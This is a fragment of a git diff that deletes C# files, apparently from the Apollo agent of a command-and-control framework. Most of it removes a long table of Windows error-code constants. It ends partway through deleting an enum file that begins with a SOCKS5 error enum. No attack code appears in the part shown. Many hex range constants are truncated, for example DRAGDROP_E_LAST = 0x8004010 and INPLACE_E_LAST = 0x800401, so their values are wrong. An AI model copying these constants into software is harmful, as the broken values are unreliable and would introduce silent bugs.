ERROR_IPSEC_IKE_REQUIRE_CP_PAYLOAD_MISSING = 13900; - public const int ERROR_IPSEC_KEY_MODULE_IMPERSONATION_NEGOTIATION_PENDING = 13901; - public const int ERROR_IPSEC_IKE_COEXISTENCE_SUPPRESS = 13902; - public const int ERROR_IPSEC_IKE_RATELIMIT_DROP = 13903; - public const int ERROR_IPSEC_IKE_PEER_DOESNT_SUPPORT_MOBIKE = 13904; - public const int ERROR_IPSEC_IKE_AUTHORIZATION_FAILURE = 13905; - public const int ERROR_IPSEC_IKE_STRONG_CRED_AUTHORIZATION_FAILURE = 13906; - public const int ERROR_IPSEC_IKE_AUTHORIZATION_FAILURE_WITH_OPTIONAL_RETRY = 13907; - public const int ERROR_IPSEC_IKE_STRONG_CRED_AUTHORIZATION_AND_CERTMAP_FAILURE = 13908; - public const int ERROR_IPSEC_IKE_NEG_STATUS_EXTENDED_END = 13909; - public const int ERROR_IPSEC_BAD_SPI = 13910; - public const int ERROR_IPSEC_SA_LIFETIME_EXPIRED = 13911; - public const int ERROR_IPSEC_WRONG_SA = 13912; - public const int ERROR_IPSEC_REPLAY_CHECK_FAILED = 13913; - public const int ERROR_IPSEC_INVALID_PACKET = 13914; - public const int ERROR_IPSEC_INTEGRITY_CHECK_FAILED = 13915; - public const int ERROR_IPSEC_CLEAR_TEXT_DROP = 13916; - public const int ERROR_IPSEC_AUTH_FIREWALL_DROP = 13917; - public const int ERROR_IPSEC_THROTTLE_DROP = 13918; - public const int ERROR_IPSEC_DOSP_BLOCK = 13925; - public const int ERROR_IPSEC_DOSP_RECEIVED_MULTICAST = 13926; - public const int ERROR_IPSEC_DOSP_INVALID_PACKET = 13927; - public const int ERROR_IPSEC_DOSP_STATE_LOOKUP_FAILED = 13928; - public const int ERROR_IPSEC_DOSP_MAX_ENTRIES = 13929; - public const int ERROR_IPSEC_DOSP_KEYMOD_NOT_ALLOWED = 13930; - public const int ERROR_IPSEC_DOSP_NOT_INSTALLED = 13931; - public const int ERROR_IPSEC_DOSP_MAX_PER_IP_RATELIMIT_QUEUES = 13932; - public const int ERROR_SXS_SECTION_NOT_FOUND = 14000; - public const int ERROR_SXS_CANT_GEN_ACTCTX = 14001; - public const int ERROR_SXS_INVALID_ACTCTXDATA_FORMAT = 14002; - public const int ERROR_SXS_ASSEMBLY_NOT_FOUND = 14003; - public const int ERROR_SXS_MANIFEST_FORMAT_ERROR = 14004; - public const int ERROR_SXS_MANIFEST_PARSE_ERROR = 14005; - public const int ERROR_SXS_ACTIVATION_CONTEXT_DISABLED = 14006; - public const int ERROR_SXS_KEY_NOT_FOUND = 14007; - public const int ERROR_SXS_VERSION_CONFLICT = 14008; - public const int ERROR_SXS_WRONG_SECTION_TYPE = 14009; - public const int ERROR_SXS_THREAD_QUERIES_DISABLED = 14010; - public const int ERROR_SXS_PROCESS_DEFAULT_ALREADY_SET = 14011; - public const int ERROR_SXS_UNKNOWN_ENCODING_GROUP = 14012; - public const int ERROR_SXS_UNKNOWN_ENCODING = 14013; - public const int ERROR_SXS_INVALID_XML_NAMESPACE_URI = 14014; - public const int ERROR_SXS_ROOT_MANIFEST_DEPENDENCY_NOT_INSTALLED = 14015; - public const int ERROR_SXS_LEAF_MANIFEST_DEPENDENCY_NOT_INSTALLED = 14016; - public const int ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE = 14017; - public const int ERROR_SXS_MANIFEST_MISSING_REQUIRED_DEFAULT_NAMESPACE = 14018; - public const int ERROR_SXS_MANIFEST_INVALID_REQUIRED_DEFAULT_NAMESPACE = 14019; - public const int ERROR_SXS_PRIVATE_MANIFEST_CROSS_PATH_WITH_REPARSE_POINT = 14020; - public const int ERROR_SXS_DUPLICATE_DLL_NAME = 14021; - public const int ERROR_SXS_DUPLICATE_WINDOWCLASS_NAME = 14022; - public const int ERROR_SXS_DUPLICATE_CLSID = 14023; - public const int ERROR_SXS_DUPLICATE_IID = 14024; - public const int ERROR_SXS_DUPLICATE_TLBID = 14025; - public const int ERROR_SXS_DUPLICATE_PROGID = 14026; - public const int ERROR_SXS_DUPLICATE_ASSEMBLY_NAME = 14027; - public const int ERROR_SXS_FILE_HASH_MISMATCH = 14028; - public const int ERROR_SXS_POLICY_PARSE_ERROR = 14029; - public const int ERROR_SXS_XML_E_MISSINGQUOTE = 14030; - public const int ERROR_SXS_XML_E_COMMENTSYNTAX = 14031; - public const int ERROR_SXS_XML_E_BADSTARTNAMECHAR = 14032; - public const int ERROR_SXS_XML_E_BADNAMECHAR = 14033; - public const int ERROR_SXS_XML_E_BADCHARINSTRING = 14034; - public const int ERROR_SXS_XML_E_XMLDECLSYNTAX = 14035; - public const int ERROR_SXS_XML_E_BADCHARDATA = 14036; - public const int ERROR_SXS_XML_E_MISSINGWHITESPACE = 14037; - public const int ERROR_SXS_XML_E_EXPECTINGTAGEND = 14038; - public const int ERROR_SXS_XML_E_MISSINGSEMICOLON = 14039; - public const int ERROR_SXS_XML_E_UNBALANCEDPAREN = 14040; - public const int ERROR_SXS_XML_E_INTERNALERROR = 14041; - public const int ERROR_SXS_XML_E_UNEXPECTED_WHITESPACE = 14042; - public const int ERROR_SXS_XML_E_INCOMPLETE_ENCODING = 14043; - public const int ERROR_SXS_XML_E_MISSING_PAREN = 14044; - public const int ERROR_SXS_XML_E_EXPECTINGCLOSEQUOTE = 14045; - public const int ERROR_SXS_XML_E_MULTIPLE_COLONS = 14046; - public const int ERROR_SXS_XML_E_INVALID_DECIMAL = 14047; - public const int ERROR_SXS_XML_E_INVALID_HEXIDECIMAL = 14048; - public const int ERROR_SXS_XML_E_INVALID_UNICODE = 14049; - public const int ERROR_SXS_XML_E_WHITESPACEORQUESTIONMARK = 14050; - public const int ERROR_SXS_XML_E_UNEXPECTEDENDTAG = 14051; - public const int ERROR_SXS_XML_E_UNCLOSEDTAG = 14052; - public const int ERROR_SXS_XML_E_DUPLICATEATTRIBUTE = 14053; - public const int ERROR_SXS_XML_E_MULTIPLEROOTS = 14054; - public const int ERROR_SXS_XML_E_INVALIDATROOTLEVEL = 14055; - public const int ERROR_SXS_XML_E_BADXMLDECL = 14056; - public const int ERROR_SXS_XML_E_MISSINGROOT = 14057; - public const int ERROR_SXS_XML_E_UNEXPECTEDEOF = 14058; - public const int ERROR_SXS_XML_E_BADPEREFINSUBSET = 14059; - public const int ERROR_SXS_XML_E_UNCLOSEDSTARTTAG = 14060; - public const int ERROR_SXS_XML_E_UNCLOSEDENDTAG = 14061; - public const int ERROR_SXS_XML_E_UNCLOSEDSTRING = 14062; - public const int ERROR_SXS_XML_E_UNCLOSEDCOMMENT = 14063; - public const int ERROR_SXS_XML_E_UNCLOSEDDECL = 14064; - public const int ERROR_SXS_XML_E_UNCLOSEDCDATA = 14065; - public const int ERROR_SXS_XML_E_RESERVEDNAMESPACE = 14066; - public const int ERROR_SXS_XML_E_INVALIDENCODING = 14067; - public const int ERROR_SXS_XML_E_INVALIDSWITCH = 14068; - public const int ERROR_SXS_XML_E_BADXMLCASE = 14069; - public const int ERROR_SXS_XML_E_INVALID_STANDALONE = 14070; - public const int ERROR_SXS_XML_E_UNEXPECTED_STANDALONE = 14071; - public const int ERROR_SXS_XML_E_INVALID_VERSION = 14072; - public const int ERROR_SXS_XML_E_MISSINGEQUALS = 14073; - public const int ERROR_SXS_PROTECTION_RECOVERY_FAILED = 14074; - public const int ERROR_SXS_PROTECTION_PUBLIC_KEY_TOO_SHORT = 14075; - public const int ERROR_SXS_PROTECTION_CATALOG_NOT_VALID = 14076; - public const int ERROR_SXS_UNTRANSLATABLE_HRESULT = 14077; - public const int ERROR_SXS_PROTECTION_CATALOG_FILE_MISSING = 14078; - public const int ERROR_SXS_MISSING_ASSEMBLY_IDENTITY_ATTRIBUTE = 14079; - public const int ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE_NAME = 14080; - public const int ERROR_SXS_ASSEMBLY_MISSING = 14081; - public const int ERROR_SXS_CORRUPT_ACTIVATION_STACK = 14082; - public const int ERROR_SXS_CORRUPTION = 14083; - public const int ERROR_SXS_EARLY_DEACTIVATION = 14084; - public const int ERROR_SXS_INVALID_DEACTIVATION = 14085; - public const int ERROR_SXS_MULTIPLE_DEACTIVATION = 14086; - public const int ERROR_SXS_PROCESS_TERMINATION_REQUESTED = 14087; - public const int ERROR_SXS_RELEASE_ACTIVATION_CONTEXT = 14088; - public const int ERROR_SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY = 14089; - public const int ERROR_SXS_INVALID_IDENTITY_ATTRIBUTE_VALUE = 14090; - public const int ERROR_SXS_INVALID_IDENTITY_ATTRIBUTE_NAME = 14091; - public const int ERROR_SXS_IDENTITY_DUPLICATE_ATTRIBUTE = 14092; - public const int ERROR_SXS_IDENTITY_PARSE_ERROR = 14093; - public const int ERROR_MALFORMED_SUBSTITUTION_STRING = 14094; - public const int ERROR_SXS_INCORRECT_PUBLIC_KEY_TOKEN = 14095; - public const int ERROR_UNMAPPED_SUBSTITUTION_STRING = 14096; - public const int ERROR_SXS_ASSEMBLY_NOT_LOCKED = 14097; - public const int ERROR_SXS_COMPONENT_STORE_CORRUPT = 14098; - public const int ERROR_ADVANCED_INSTALLER_FAILED = 14099; - public const int ERROR_XML_ENCODING_MISMATCH = 14100; - public const int ERROR_SXS_MANIFEST_IDENTITY_SAME_BUT_CONTENTS_DIFFERENT = 14101; - public const int ERROR_SXS_IDENTITIES_DIFFERENT = 14102; - public const int ERROR_SXS_ASSEMBLY_IS_NOT_A_DEPLOYMENT = 14103; - public const int ERROR_SXS_FILE_NOT_PART_OF_ASSEMBLY = 14104; - public const int ERROR_SXS_MANIFEST_TOO_BIG = 14105; - public const int ERROR_SXS_SETTING_NOT_REGISTERED = 14106; - public const int ERROR_SXS_TRANSACTION_CLOSURE_INCOMPLETE = 14107; - public const int ERROR_SMI_PRIMITIVE_INSTALLER_FAILED = 14108; - public const int ERROR_GENERIC_COMMAND_FAILED = 14109; - public const int ERROR_SXS_FILE_HASH_MISSING = 14110; - public const int ERROR_SXS_DUPLICATE_ACTIVATABLE_CLASS = 14111; - public const int ERROR_EVT_INVALID_CHANNEL_PATH = 15000; - public const int ERROR_EVT_INVALID_QUERY = 15001; - public const int ERROR_EVT_PUBLISHER_METADATA_NOT_FOUND = 15002; - public const int ERROR_EVT_EVENT_TEMPLATE_NOT_FOUND = 15003; - public const int ERROR_EVT_INVALID_PUBLISHER_NAME = 15004; - public const int ERROR_EVT_INVALID_EVENT_DATA = 15005; - public const int ERROR_EVT_CHANNEL_NOT_FOUND = 15007; - public const int ERROR_EVT_MALFORMED_XML_TEXT = 15008; - public const int ERROR_EVT_SUBSCRIPTION_TO_DIRECT_CHANNEL = 15009; - public const int ERROR_EVT_CONFIGURATION_ERROR = 15010; - public const int ERROR_EVT_QUERY_RESULT_STALE = 15011; - public const int ERROR_EVT_QUERY_RESULT_INVALID_POSITION = 15012; - public const int ERROR_EVT_NON_VALIDATING_MSXML = 15013; - public const int ERROR_EVT_FILTER_ALREADYSCOPED = 15014; - public const int ERROR_EVT_FILTER_NOTELTSET = 15015; - public const int ERROR_EVT_FILTER_INVARG = 15016; - public const int ERROR_EVT_FILTER_INVTEST = 15017; - public const int ERROR_EVT_FILTER_INVTYPE = 15018; - public const int ERROR_EVT_FILTER_PARSEERR = 15019; - public const int ERROR_EVT_FILTER_UNSUPPORTEDOP = 15020; - public const int ERROR_EVT_FILTER_UNEXPECTEDTOKEN = 15021; - public const int ERROR_EVT_INVALID_OPERATION_OVER_ENABLED_DIRECT_CHANNEL = 15022; - public const int ERROR_EVT_INVALID_CHANNEL_PROPERTY_VALUE = 15023; - public const int ERROR_EVT_INVALID_PUBLISHER_PROPERTY_VALUE = 15024; - public const int ERROR_EVT_CHANNEL_CANNOT_ACTIVATE = 15025; - public const int ERROR_EVT_FILTER_TOO_COMPLEX = 15026; - public const int ERROR_EVT_MESSAGE_NOT_FOUND = 15027; - public const int ERROR_EVT_MESSAGE_ID_NOT_FOUND = 15028; - public const int ERROR_EVT_UNRESOLVED_VALUE_INSERT = 15029; - public const int ERROR_EVT_UNRESOLVED_PARAMETER_INSERT = 15030; - public const int ERROR_EVT_MAX_INSERTS_REACHED = 15031; - public const int ERROR_EVT_EVENT_DEFINITION_NOT_FOUND = 15032; - public const int ERROR_EVT_MESSAGE_LOCALE_NOT_FOUND = 15033; - public const int ERROR_EVT_VERSION_TOO_OLD = 15034; - public const int ERROR_EVT_VERSION_TOO_NEW = 15035; - public const int ERROR_EVT_CANNOT_OPEN_CHANNEL_OF_QUERY = 15036; - public const int ERROR_EVT_PUBLISHER_DISABLED = 15037; - public const int ERROR_EVT_FILTER_OUT_OF_RANGE = 15038; - public const int ERROR_EC_SUBSCRIPTION_CANNOT_ACTIVATE = 15080; - public const int ERROR_EC_LOG_DISABLED = 15081; - public const int ERROR_EC_CIRCULAR_FORWARDING = 15082; - public const int ERROR_EC_CREDSTORE_FULL = 15083; - public const int ERROR_EC_CRED_NOT_FOUND = 15084; - public const int ERROR_EC_NO_ACTIVE_CHANNEL = 15085; - public const int ERROR_MUI_FILE_NOT_FOUND = 15100; - public const int ERROR_MUI_INVALID_FILE = 15101; - public const int ERROR_MUI_INVALID_RC_CONFIG = 15102; - public const int ERROR_MUI_INVALID_LOCALE_NAME = 15103; - public const int ERROR_MUI_INVALID_ULTIMATEFALLBACK_NAME = 15104; - public const int ERROR_MUI_FILE_NOT_LOADED = 15105; - public const int ERROR_RESOURCE_ENUM_USER_STOP = 15106; - public const int ERROR_MUI_INTLSETTINGS_UILANG_NOT_INSTALLED = 15107; - public const int ERROR_MUI_INTLSETTINGS_INVALID_LOCALE_NAME = 15108; - public const int ERROR_MRM_RUNTIME_NO_DEFAULT_OR_NEUTRAL_RESOURCE = 15110; - public const int ERROR_MRM_INVALID_PRICONFIG = 15111; - public const int ERROR_MRM_INVALID_FILE_TYPE = 15112; - public const int ERROR_MRM_UNKNOWN_QUALIFIER = 15113; - public const int ERROR_MRM_INVALID_QUALIFIER_VALUE = 15114; - public const int ERROR_MRM_NO_CANDIDATE = 15115; - public const int ERROR_MRM_NO_MATCH_OR_DEFAULT_CANDIDATE = 15116; - public const int ERROR_MRM_RESOURCE_TYPE_MISMATCH = 15117; - public const int ERROR_MRM_DUPLICATE_MAP_NAME = 15118; - public const int ERROR_MRM_DUPLICATE_ENTRY = 15119; - public const int ERROR_MRM_INVALID_RESOURCE_IDENTIFIER = 15120; - public const int ERROR_MRM_FILEPATH_TOO_LONG = 15121; - public const int ERROR_MRM_UNSUPPORTED_DIRECTORY_TYPE = 15122; - public const int ERROR_MRM_INVALID_PRI_FILE = 15126; - public const int ERROR_MRM_NAMED_RESOURCE_NOT_FOUND = 15127; - public const int ERROR_MRM_MAP_NOT_FOUND = 15135; - public const int ERROR_MRM_UNSUPPORTED_PROFILE_TYPE = 15136; - public const int ERROR_MRM_INVALID_QUALIFIER_OPERATOR = 15137; - public const int ERROR_MRM_INDETERMINATE_QUALIFIER_VALUE = 15138; - public const int ERROR_MRM_AUTOMERGE_ENABLED = 15139; - public const int ERROR_MRM_TOO_MANY_RESOURCES = 15140; - public const int ERROR_MRM_UNSUPPORTED_FILE_TYPE_FOR_MERGE = 15141; - public const int ERROR_MRM_UNSUPPORTED_FILE_TYPE_FOR_LOAD_UNLOAD_PRI_FILE = 15142; - public const int ERROR_MRM_NO_CURRENT_VIEW_ON_THREAD = 15143; - public const int ERROR_DIFFERENT_PROFILE_RESOURCE_MANAGER_EXIST = 15144; - public const int ERROR_OPERATION_NOT_ALLOWED_FROM_SYSTEM_COMPONENT = 15145; - public const int ERROR_MRM_DIRECT_REF_TO_NON_DEFAULT_RESOURCE = 15146; - public const int ERROR_MRM_GENERATION_COUNT_MISMATCH = 15147; - public const int ERROR_PRI_MERGE_VERSION_MISMATCH = 15148; - public const int ERROR_PRI_MERGE_MISSING_SCHEMA = 15149; - public const int ERROR_PRI_MERGE_LOAD_FILE_FAILED = 15150; - public const int ERROR_PRI_MERGE_ADD_FILE_FAILED = 15151; - public const int ERROR_PRI_MERGE_WRITE_FILE_FAILED = 15152; - public const int ERROR_PRI_MERGE_MULTIPLE_PACKAGE_FAMILIES_NOT_ALLOWED = 15153; - public const int ERROR_PRI_MERGE_MULTIPLE_MAIN_PACKAGES_NOT_ALLOWED = 15154; - public const int ERROR_PRI_MERGE_BUNDLE_PACKAGES_NOT_ALLOWED = 15155; - public const int ERROR_PRI_MERGE_MAIN_PACKAGE_REQUIRED = 15156; - public const int ERROR_PRI_MERGE_RESOURCE_PACKAGE_REQUIRED = 15157; - public const int ERROR_PRI_MERGE_INVALID_FILE_NAME = 15158; - public const int ERROR_MRM_PACKAGE_NOT_FOUND = 15159; - public const int ERROR_MRM_MISSING_DEFAULT_LANGUAGE = 15160; - public const int ERROR_MCA_INVALID_CAPABILITIES_STRING = 15200; - public const int ERROR_MCA_INVALID_VCP_VERSION = 15201; - public const int ERROR_MCA_MONITOR_VIOLATES_MCCS_SPECIFICATION = 15202; - public const int ERROR_MCA_MCCS_VERSION_MISMATCH = 15203; - public const int ERROR_MCA_UNSUPPORTED_MCCS_VERSION = 15204; - public const int ERROR_MCA_INTERNAL_ERROR = 15205; - public const int ERROR_MCA_INVALID_TECHNOLOGY_TYPE_RETURNED = 15206; - public const int ERROR_MCA_UNSUPPORTED_COLOR_TEMPERATURE = 15207; - public const int ERROR_AMBIGUOUS_SYSTEM_DEVICE = 15250; - public const int ERROR_SYSTEM_DEVICE_NOT_FOUND = 15299; - public const int ERROR_HASH_NOT_SUPPORTED = 15300; - public const int ERROR_HASH_NOT_PRESENT = 15301; - public const int ERROR_SECONDARY_IC_PROVIDER_NOT_REGISTERED = 15321; - public const int ERROR_GPIO_CLIENT_INFORMATION_INVALID = 15322; - public const int ERROR_GPIO_VERSION_NOT_SUPPORTED = 15323; - public const int ERROR_GPIO_INVALID_REGISTRATION_PACKET = 15324; - public const int ERROR_GPIO_OPERATION_DENIED = 15325; - public const int ERROR_GPIO_INCOMPATIBLE_CONNECT_MODE = 15326; - public const int ERROR_GPIO_INTERRUPT_ALREADY_UNMASKED = 15327; - public const int ERROR_CANNOT_SWITCH_RUNLEVEL = 15400; - public const int ERROR_INVALID_RUNLEVEL_SETTING = 15401; - public const int ERROR_RUNLEVEL_SWITCH_TIMEOUT = 15402; - public const int ERROR_RUNLEVEL_SWITCH_AGENT_TIMEOUT = 15403; - public const int ERROR_RUNLEVEL_SWITCH_IN_PROGRESS = 15404; - public const int ERROR_SERVICES_FAILED_AUTOSTART = 15405; - public const int ERROR_COM_TASK_STOP_PENDING = 15501; - public const int ERROR_INSTALL_OPEN_PACKAGE_FAILED = 15600; - public const int ERROR_INSTALL_PACKAGE_NOT_FOUND = 15601; - public const int ERROR_INSTALL_INVALID_PACKAGE = 15602; - public const int ERROR_INSTALL_RESOLVE_DEPENDENCY_FAILED = 15603; - public const int ERROR_INSTALL_OUT_OF_DISK_SPACE = 15604; - public const int ERROR_INSTALL_NETWORK_FAILURE = 15605; - public const int ERROR_INSTALL_REGISTRATION_FAILURE = 15606; - public const int ERROR_INSTALL_DEREGISTRATION_FAILURE = 15607; - public const int ERROR_INSTALL_CANCEL = 15608; - public const int ERROR_INSTALL_FAILED = 15609; - public const int ERROR_REMOVE_FAILED = 15610; - public const int ERROR_PACKAGE_ALREADY_EXISTS = 15611; - public const int ERROR_NEEDS_REMEDIATION = 15612; - public const int ERROR_INSTALL_PREREQUISITE_FAILED = 15613; - public const int ERROR_PACKAGE_REPOSITORY_CORRUPTED = 15614; - public const int ERROR_INSTALL_POLICY_FAILURE = 15615; - public const int ERROR_PACKAGE_UPDATING = 15616; - public const int ERROR_DEPLOYMENT_BLOCKED_BY_POLICY = 15617; - public const int ERROR_PACKAGES_IN_USE = 15618; - public const int ERROR_RECOVERY_FILE_CORRUPT = 15619; - public const int ERROR_INVALID_STAGED_SIGNATURE = 15620; - public const int ERROR_DELETING_EXISTING_APPLICATIONDATA_STORE_FAILED = 15621; - public const int ERROR_INSTALL_PACKAGE_DOWNGRADE = 15622; - public const int ERROR_SYSTEM_NEEDS_REMEDIATION = 15623; - public const int ERROR_APPX_INTEGRITY_FAILURE_CLR_NGEN = 15624; - public const int ERROR_RESILIENCY_FILE_CORRUPT = 15625; - public const int ERROR_INSTALL_FIREWALL_SERVICE_NOT_RUNNING = 15626; - public const int ERROR_PACKAGE_MOVE_FAILED = 15627; - public const int ERROR_INSTALL_VOLUME_NOT_EMPTY = 15628; - public const int ERROR_INSTALL_VOLUME_OFFLINE = 15629; - public const int ERROR_INSTALL_VOLUME_CORRUPT = 15630; - public const int ERROR_NEEDS_REGISTRATION = 15631; - public const int ERROR_INSTALL_WRONG_PROCESSOR_ARCHITECTURE = 15632; - public const int ERROR_DEV_SIDELOAD_LIMIT_EXCEEDED = 15633; - public const int ERROR_INSTALL_OPTIONAL_PACKAGE_REQUIRES_MAIN_PACKAGE = 15634; - public const int ERROR_PACKAGE_NOT_SUPPORTED_ON_FILESYSTEM = 15635; - public const int ERROR_PACKAGE_MOVE_BLOCKED_BY_STREAMING = 15636; - public const int ERROR_INSTALL_OPTIONAL_PACKAGE_APPLICATIONID_NOT_UNIQUE = 15637; - public const int ERROR_PACKAGE_STAGING_ONHOLD = 15638; - public const int ERROR_INSTALL_INVALID_RELATED_SET_UPDATE = 15639; - public const int ERROR_INSTALL_OPTIONAL_PACKAGE_REQUIRES_MAIN_PACKAGE_FULLTRUST_CAPABILITY = 15640; - public const int ERROR_DEPLOYMENT_BLOCKED_BY_USER_LOG_OFF = 15641; - public const int ERROR_PROVISION_OPTIONAL_PACKAGE_REQUIRES_MAIN_PACKAGE_PROVISIONED = 15642; - public const int ERROR_PACKAGES_REPUTATION_CHECK_FAILED = 15643; - public const int ERROR_PACKAGES_REPUTATION_CHECK_TIMEDOUT = 15644; - public const int ERROR_DEPLOYMENT_OPTION_NOT_SUPPORTED = 15645; - public const int ERROR_APPINSTALLER_ACTIVATION_BLOCKED = 15646; - public const int ERROR_REGISTRATION_FROM_REMOTE_DRIVE_NOT_SUPPORTED = 15647; - public const int ERROR_APPX_RAW_DATA_WRITE_FAILED = 15648; - public const int ERROR_DEPLOYMENT_BLOCKED_BY_VOLUME_POLICY_PACKAGE = 15649; - public const int ERROR_DEPLOYMENT_BLOCKED_BY_VOLUME_POLICY_MACHINE = 15650; - public const int ERROR_DEPLOYMENT_BLOCKED_BY_PROFILE_POLICY = 15651; - public const int ERROR_DEPLOYMENT_FAILED_CONFLICTING_MUTABLE_PACKAGE_DIRECTORY = 15652; - public const int ERROR_SINGLETON_RESOURCE_INSTALLED_IN_ACTIVE_USER = 15653; - public const int ERROR_DIFFERENT_VERSION_OF_PACKAGED_SERVICE_INSTALLED = 15654; - public const int ERROR_SERVICE_EXISTS_AS_NON_PACKAGED_SERVICE = 15655; - public const int ERROR_PACKAGED_SERVICE_REQUIRES_ADMIN_PRIVILEGES = 15656; - public const int APPMODEL_ERROR_NO_PACKAGE = 15700; - public const int APPMODEL_ERROR_PACKAGE_RUNTIME_CORRUPT = 15701; - public const int APPMODEL_ERROR_PACKAGE_IDENTITY_CORRUPT = 15702; - public const int APPMODEL_ERROR_NO_APPLICATION = 15703; - public const int APPMODEL_ERROR_DYNAMIC_PROPERTY_READ_FAILED = 15704; - public const int APPMODEL_ERROR_DYNAMIC_PROPERTY_INVALID = 15705; - public const int APPMODEL_ERROR_PACKAGE_NOT_AVAILABLE = 15706; - public const int APPMODEL_ERROR_NO_MUTABLE_DIRECTORY = 15707; - public const int ERROR_STATE_LOAD_STORE_FAILED = 15800; - public const int ERROR_STATE_GET_VERSION_FAILED = 15801; - public const int ERROR_STATE_SET_VERSION_FAILED = 15802; - public const int ERROR_STATE_STRUCTURED_RESET_FAILED = 15803; - public const int ERROR_STATE_OPEN_CONTAINER_FAILED = 15804; - public const int ERROR_STATE_CREATE_CONTAINER_FAILED = 15805; - public const int ERROR_STATE_DELETE_CONTAINER_FAILED = 15806; - public const int ERROR_STATE_READ_SETTING_FAILED = 15807; - public const int ERROR_STATE_WRITE_SETTING_FAILED = 15808; - public const int ERROR_STATE_DELETE_SETTING_FAILED = 15809; - public const int ERROR_STATE_QUERY_SETTING_FAILED = 15810; - public const int ERROR_STATE_READ_COMPOSITE_SETTING_FAILED = 15811; - public const int ERROR_STATE_WRITE_COMPOSITE_SETTING_FAILED = 15812; - public const int ERROR_STATE_ENUMERATE_CONTAINER_FAILED = 15813; - public const int ERROR_STATE_ENUMERATE_SETTINGS_FAILED = 15814; - public const int ERROR_STATE_COMPOSITE_SETTING_VALUE_SIZE_LIMIT_EXCEEDED = 15815; - public const int ERROR_STATE_SETTING_VALUE_SIZE_LIMIT_EXCEEDED = 15816; - public const int ERROR_STATE_SETTING_NAME_SIZE_LIMIT_EXCEEDED = 15817; - public const int ERROR_STATE_CONTAINER_NAME_SIZE_LIMIT_EXCEEDED = 15818; - public const int ERROR_API_UNAVAILABLE = 15841; - public const int STORE_ERROR_UNLICENSED = 15861; - public const int STORE_ERROR_UNLICENSED_USER = 15862; - public const int STORE_ERROR_PENDING_COM_TRANSACTION = 15863; - public const int STORE_ERROR_LICENSE_REVOKED = 15864; - public const int SEVERITY_SUCCESS = 0; - public const int SEVERITY_ERROR = 1; - public const uint FACILITY_NT_BIT = 0x10000000; - public const int NOERROR = 0; - public const uint DRAGDROP_E_FIRST = 0x80040100; - public const uint DRAGDROP_E_LAST = 0x8004010; - public const uint DRAGDROP_S_FIRST = 0x00040100; - public const uint DRAGDROP_S_LAST = 0x0004010; - public const uint CLASSFACTORY_E_FIRST = 0x80040110; - public const uint CLASSFACTORY_E_LAST = 0x8004011; - public const uint CLASSFACTORY_S_FIRST = 0x00040110; - public const uint CLASSFACTORY_S_LAST = 0x0004011; - public const uint MARSHAL_E_FIRST = 0x80040120; - public const uint MARSHAL_E_LAST = 0x8004012; - public const uint MARSHAL_S_FIRST = 0x00040120; - public const uint MARSHAL_S_LAST = 0x0004012; - public const uint DATA_E_FIRST = 0x80040130; - public const uint DATA_E_LAST = 0x8004013; - public const uint DATA_S_FIRST = 0x00040130; - public const uint DATA_S_LAST = 0x0004013; - public const uint VIEW_E_FIRST = 0x80040140; - public const uint VIEW_E_LAST = 0x8004014; - public const uint VIEW_S_FIRST = 0x00040140; - public const uint VIEW_S_LAST = 0x0004014; - public const uint REGDB_E_FIRST = 0x80040150; - public const uint REGDB_E_LAST = 0x8004015; - public const uint REGDB_S_FIRST = 0x00040150; - public const uint REGDB_S_LAST = 0x0004015; - public const uint CAT_E_FIRST = 0x80040160; - public const uint CAT_E_LAST = 0x80040161; - public const uint CS_E_FIRST = 0x80040164; - public const uint CS_E_LAST = 0x8004016; - public const uint CACHE_E_FIRST = 0x80040170; - public const uint CACHE_E_LAST = 0x8004017; - public const uint CACHE_S_FIRST = 0x00040170; - public const uint CACHE_S_LAST = 0x0004017; - public const uint OLEOBJ_E_FIRST = 0x80040180; - public const uint OLEOBJ_E_LAST = 0x8004018; - public const uint OLEOBJ_S_FIRST = 0x00040180; - public const uint OLEOBJ_S_LAST = 0x0004018; - public const uint CLIENTSITE_E_FIRST = 0x80040190; - public const uint CLIENTSITE_E_LAST = 0x8004019; - public const uint CLIENTSITE_S_FIRST = 0x00040190; - public const uint CLIENTSITE_S_LAST = 0x0004019; - public const uint INPLACE_E_FIRST = 0x800401A0; - public const uint INPLACE_E_LAST = 0x800401; - public const uint INPLACE_S_FIRST = 0x000401A0; - public const uint INPLACE_S_LAST = 0x000401; - public const uint ENUM_E_FIRST = 0x800401B0; - public const uint ENUM_E_LAST = 0x800401; - public const uint ENUM_S_FIRST = 0x000401B0; - public const uint ENUM_S_LAST = 0x000401; - public const uint CONVERT10_E_FIRST = 0x800401C0; - public const uint CONVERT10_E_LAST = 0x800401; - public const uint CONVERT10_S_FIRST = 0x000401C0; - public const uint CONVERT10_S_LAST = 0x000401; - public const uint CLIPBRD_E_FIRST = 0x800401D0; - public const uint CLIPBRD_E_LAST = 0x800401; - public const uint CLIPBRD_S_FIRST = 0x000401D0; - public const uint CLIPBRD_S_LAST = 0x000401; - public const uint MK_E_FIRST = 0x800401E0; - public const uint MK_E_LAST = 0x800401; - public const uint MK_S_FIRST = 0x000401E0; - public const uint MK_S_LAST = 0x000401; - public const uint CO_E_FIRST = 0x800401F0; - public const uint CO_E_LAST = 0x800401; - public const uint CO_S_FIRST = 0x000401F0; - public const uint CO_S_LAST = 0x000401; - public const uint EVENT_E_FIRST = 0x80040200; - public const uint EVENT_E_LAST = 0x8004021; - public const uint EVENT_S_FIRST = 0x00040200; - public const uint EVENT_S_LAST = 0x0004021; - public const uint XACT_E_FIRST = 0x8004D000; - public const uint XACT_E_LAST = 0x8004D02; - public const uint XACT_S_FIRST = 0x0004D000; - public const uint XACT_S_LAST = 0x0004D010; - public const uint CONTEXT_E_FIRST = 0x8004E000; - public const uint CONTEXT_E_LAST = 0x8004E02; - public const uint CONTEXT_S_FIRST = 0x0004E000; - public const uint CONTEXT_S_LAST = 0x0004E02; - public const int NTE_OP_OK = 0; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Enums/ApolloEnums.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Enums/ApolloEnums.cs deleted file mode 100644 index e623f05c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Enums/ApolloEnums.cs +++ /dev/null @@ -1,91 +0,0 @@ -namespace ApolloInterop.Enums -{ - namespace ApolloEnums - { - public enum Socks5Error - { - SuccessReply, - ServerFailure, - RuleFailure, - NetworkUnreachable, - HostUnreachable, - ConnectionRefused, - TtlExpired, - 